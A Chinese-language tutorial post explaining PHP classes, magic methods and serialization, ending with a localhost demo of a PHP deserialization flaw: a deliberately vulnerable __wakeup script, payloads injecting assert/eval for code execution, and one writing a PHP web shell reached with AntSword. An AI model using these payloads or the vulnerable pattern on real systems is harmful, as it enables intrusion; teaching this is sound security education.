首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

php反序列化漏洞

在说php反序列化漏洞之前,先讲讲什么是类,什么是对象,什么是函数

什么是类

类的概念:类是具有相同属性和操作的一组对象的集合。它为属于该类的所有对象提供了统一的抽象描述, 其内部包括属性和操作两个主要部分。在面向对象的编程语言中,类是一个独立的程序单位, 它应该有一个类名并包括属性说明和操作说明两个主要部分。 简单点说类就是某一物件的模型 类的关键字 class 示例

代码语言:javascript
复制
<?php
	class people {
	var	$shou=two;
	var	$tou=one;
}
?>	

这里定义了一个people类,people类有shou这个属性,属性值为two。有tou这个属性,属性值为one。 类属性必须定义为 public(公有),protected(受保护)或 private(私有)之一。 如果用 var 定义,则被视为公有。 参考官网信息: https://www.php.net/manual/zh/language.oop5.properties.php

什么是对象

在面向对象的程序设计(英语:Object-oriented programming,缩写:OOP)中,对象是一个由信息及对信息进行处理的描述所组成的整体,是对现实世界的抽象。 简单点说对象就是类的实例 示例

代码语言:javascript
复制
<?php
	class people { 
	var	$shou=two;
	var	$tou=one;
}
$xiaoming= new people(); 
?>	

在people类里,xiaoming是其中的一个对象。无数个 ‘xiaoming’实体 组成了people这个类

什么是函数

函数是一个被命名的、独立的代码段,它执行特定的任务,并可能给调用它的程序返回一个值 示例

代码语言:javascript
复制
<?php 
function add($x,$y) {
	 $total=$x+$y; 
return $total; 
} 
echo "1 + 16 = " . add(1,16); 
?>

定义了一个add函数,每次调用他就是实行加法,比如add(1,2),就输出1+2的值

类、对象、函数

举个例子,类、对象、函数之间的关系是这样子的: 定义一个类,有两个腿一个头,这也是人这个类的属性

小明是人类里面的一个实体,小明有两个腿一个头,所以小明是人类里面的一个对象。

小明能吃饭,小明能呼吸。 可以创建吃饭、呼吸这两个函数。 第一次的时候,教小明怎么吃饭,怎么呼吸——这就是构造函数。 后面,想吃饭的时候,就调用吃饭这个函数;呼吸的时候,调用呼吸这个函数。而不需要每次都要重新教小明怎么怎么吃饭呼吸

什么是魔术函数

魔法函数:一般是以__开头,通常不用手动调用,因为某些条件而自动触发:

代码语言:javascript
复制
__call()是在对象上下文中调用不可访问的方法时触发
__callStatic()是在静态上下文中调用不可访问的方法时触发。
__get()用于从不可访问的属性读取数据。
__set()用于将数据写入不可访问的属性。
__toString()方法允许一个类决定如何处理像一个字符串时它将如何反应。
__sleep() 在对象被序列化之前运行
__destruct() 当一个对象销毁时被调用   //unlink:删除文件
__wakeup() :unserialize()时会自动调用。

(反)序列化函数

定义

序列化(serialization)在计算机科学的数据处理中,是指将数据结构或对象状态转换成可取用格式(例如存成文件,存于缓冲,或经由网络中发送),以留待后续在相同或另一台计算机环境中,能恢复原先状态的过程。

简单来说,就是将数据转化成一种可逆的数据结构 反序列化就是其逆向的过程

1.序列化: object(对象)的数据类型转换成字符串类型

2.反序列化: 数据串类型的数据转换成object

在PHP应用中,序列化,反序列化一般用作缓存。比如session缓存,cookie等。因为object类型不能被储存,而数据串可以被储存。

php序列化的函数:serialize() php反序列化的函数:unserialize()

示例

clss.php

代码语言:javascript
复制
<?php
class Test{
	var $a = 'This';
}
$test = new Test();
$aa=serialize($test);
$ta=var_dump(unserialize($aa));
?>

说了这么多,什么是反序列化漏洞呢?

当一个被序列化的对象,反序列化回去的时候,触发了魔术方法。而调用魔术函数时,传进去的值是用户可控的。所以服务器执行了用户传进去的payload,达到远程命令执行或者操纵当前类里面的内容的目的。

再说简单一点,就是服务器接收了攻击者上传的反序列化过的字符串,未经严格过滤,就把其中的变量作用到魔法函数里面,从而产生了预料之外的结果,造成的漏洞

演示

这里以wakeup()函数为例:

mydx.php

代码语言:javascript
复制
<?php
class A{
	public $name;
	public $male;
	function __wakeup(){
		$a = $this->name;
		$a($this->male);
	}
}
unserialize($_GET['un']);
?>

定义了一个A类,里面有两个变量name和male,还有一个魔术函数wakeup。该函数会在执行unserialize()时会自动调用,并将payload反序列化后导入变量里面

代码语言:javascript
复制
http://127.0.0.1/mydx.php?un=O:1:"A":2:{s:4:"name";s:6:"assert";s:4:"male";s:9:"eval($_POST[cy])";}

蚁剑连接mydx.php文件

2.

代码语言:javascript
复制
http://127.0.0.1/xlh/mydx.php?un=O:1:"A":2:{s:4:"name";s:6:"assert";s:4:"male";s:54:"file_put_contents('cy.php','<?php @eval($_POST[a])?>')"}

生成了一个木马文件cy.php

用蚁剑连接cy.php文件

最后,解释一下payload

下一篇
举报
领券